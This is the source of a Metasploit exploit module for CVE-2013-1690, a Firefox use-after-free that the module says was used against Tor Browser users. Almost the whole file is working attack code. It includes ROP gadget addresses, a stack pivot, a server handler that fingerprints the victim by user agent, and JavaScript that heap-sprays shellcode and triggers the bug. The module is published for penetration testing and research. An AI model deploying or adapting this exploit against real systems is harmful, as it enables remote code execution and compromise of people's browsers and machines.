metasploit-framework/modules/exploits/windows/browser/mozilla_firefox_onreadystat...

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',
			'Description'    => %q{
				This module exploits a vulnerability found on Firefox 17.0.6, specifically an use
				after free of a DocumentViewerImpl object, triggered via an specially crafted web
				page using onreadystatechange events and the window.stop() API, as exploited in the
				wild on 2013 August to target Tor Browser users.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Nils',        # vulnerability discovery
					'Unknown',     # 1day exploit, prolly the FBI
					'w3bd3vil',    # 1day analysis
					'sinn3r',      # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2013-1690' ],
					[ 'OSVDB', '94584'],
					[ 'BID', '60778'],
					[ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ],
					[ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ],
					[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ],
					[ 'URL', 'http://krash.in/ffn0day.txt' ],
					[ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Payload'        =>
				{
					'BadChars'       => "\x00",
					'DisableNops'    => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Firefox 17 & Firefox 21 / Windows XP SP3',
						{
							'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
							'RetGadget'  => 0x77c3ee16, # ret from msvcrt
							'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP
							'VFuncPtr'   => 0x0c10100c  # Fake Function Pointer to the Sprayed Memory
						}
					]
				],
			'DisclosureDate' => 'Jun 25 2013',
			'DefaultTarget'  => 0))

	end

	def stack_pivot
		pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
		pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
		pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
		pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
		return pivot
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		vprint_status("Agent: #{agent}")

		if agent !~ /Windows NT 5\.1/
			print_error("Windows XP not found, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		unless agent =~ /Firefox\/(17|21)/
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

		# build html
		code = [
			target['VFuncPtr'],
			target['RetGadget'],
			target['StackPivot'],
			junk
		].pack("V*")
		code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
		js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
		js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))

		content = <<-HTML
<html>
<body>
<iframe src="#{my_uri}/iframe.html"></iframe>
</body></html>
		HTML

		# build iframe
		iframe = <<-IFRAME
<script>
var z="<body><img src='nonexistant.html' onerror=\\"\\" ></body>";
var test = new Array();
var heap_chunks;
function heapSpray(shellcode, fillsled) {
	var chunk_size, headersize, fillsled_len, code;
	var i, codewithnum;
	chunk_size = 0x40000;
	headersize = 0x10;
	fillsled_len = chunk_size - (headersize + shellcode.length);
	while (fillsled.length <fillsled_len)
		fillsled += fillsled;
	fillsled = fillsled.substring(0, fillsled_len);
	code = shellcode + fillsled;
	heap_chunks = new Array();
	for (i = 0; i<1000; i++)
	{
		codewithnum = "HERE" + code;
		heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
	}
}


function b() {
	for(var c=0;1024>c;c++) {
		test[c]=new ArrayBuffer(180);
		bufView = new Uint32Array(test[c]);
		for (var i=0; i < 45; i++) {
			bufView[i] = #{target['FakeObject']};
		}
	}
}

function a() {
	window.stop();
	var myshellcode = unescape("#{js_code}");
	var myfillsled = unescape("#{js_random}");
	heapSpray(myshellcode,myfillsled);
	b();
	window.parent.frames[0].frameElement.ownerDocument.write(z);
}

document.addEventListener("readystatechange",a,null);
</script>
		IFRAME

		print_status("URI #{request.uri} requested...")

		if request.uri =~ /iframe\.html/
			print_status("Sending iframe HTML")
			send_response(cli, iframe, {'Content-Type'=>'text/html'})
			return
		end

		print_status("Sending HTML")
		send_response(cli, content, {'Content-Type'=>'text/html'})

	end

end